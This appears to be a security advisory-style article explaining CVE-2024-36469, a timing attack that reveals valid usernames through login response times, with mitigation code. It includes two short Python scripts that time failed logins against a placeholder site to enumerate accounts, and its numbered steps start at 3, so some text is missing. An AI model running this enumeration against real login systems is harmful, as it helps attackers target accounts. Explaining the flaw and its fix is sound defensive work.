CVE-2024-36469 - Timing Attack Reveals Valid Usernames via Login Responses
Security researchers have discovered, documented, and assigned CVE-2024-36469 to a timing attack vulnerability found in many authentication systems. This flaw reveals if a username exists based simply on how long the system takes to respond to a failed login, giving attackers a shortcut to gathering valid usernames before even guessing passwords.
What is CVE-2024-36469?
Authentication systems usually check two things on login: first, whether the username exists, and second, if the password matches. Sometimes, these checks take different amounts of time depending on whether the username actually exists. With CVE-2024-36469, attackers exploit these differences in execution time to find out which usernames are valid.
Why Does This Matter?
If you know a valid username, breaking into accounts gets much easier. Attackers can follow up with password-guessing attacks, phishing, or other targeted hacks. That's why revealing "which usernames exist"—even without giving specific error messages—is a real security risk.
They measure how long it takes to get a response.
3. If the username exists, the system might take longer (maybe it checks both username & password). If the username doesn’t exist, it responds faster.
4. By repeating this process with different usernames and recording timings, attackers can discover which usernames are in use.
Example Pseudocode
import time
import requests
usernames_to_check = ['alice', 'bob', 'carol', 'dave']
login_url = 'https://target-site.com/login';
for username in usernames_to_check:
data = {'username': username, 'password': 'WrongPassword!'}
start = time.time()
response = requests.post(login_url, data=data)
elapsed = time.time() - start
print(f'{username}: {elapsed:.4f} seconds')
Result:
Noticeably longer times mean that the username probably exists. Attackers can automate this across millions of names.
Suppose you have a login endpoint where the backend logic looks like this
def login(username, password):
user = db.find_user(username)
if not user:
return 'Invalid credentials', 401
if not check_password(user, password):
return 'Invalid credentials', 401
# continue login
If db.find_user(username) is fast for a non-existent user but password checking and hashing takes longer for a real user, you'll see clear timing differences.
Delay the response or always check the password, even if the user doesn’t exist
import hashlib
FAKE_PASSWORD_HASH = hashlib.sha256('SomeFillerPassword!'.encode()).hexdigest()
def login(username, password):
user = db.find_user(username)
if not user:
# Hash password anyway to simulate real user lookup time
check_password_hash(FAKE_PASSWORD_HASH, password)
return 'Invalid credentials', 401
if not check_password(user, password):
return 'Invalid credentials', 401
# continue login
References & Learn More
- CVE-2024-36469 at MITRE
- OWASP: Authentication Cheat Sheet (see "Timing Attack")
- Bishop Fox: Username Enumeration via Timing
Here’s how an attacker might really automate this against a website
import time, requests
url = 'https://target-site.com/login';
usernames = ['user1', 'user2', 'user3']
for u in usernames:
start = time.time()
requests.post(url, data={'username': u, 'password': 'randomwrongpass'})
end = time.time()
print(u, 'took', end-start, 'seconds')
If you see a pattern of some requests taking notably longer, you know those are likely real usernames.
Fixes & Mitigation
- Always take the same amount of time to respond to logins, regardless of whether the username is valid.
Final Thoughts
This timing attack (CVE-2024-36469) is simple yet powerful. Don’t rely on “Invalid credentials” being vague enough. Fix your authentication logic to resist timing measurements. The internet is watching!
Timeline
Published on: 04/02/2025 07:15:40 UTC
Last modified on: 04/02/2025 14:58:07 UTC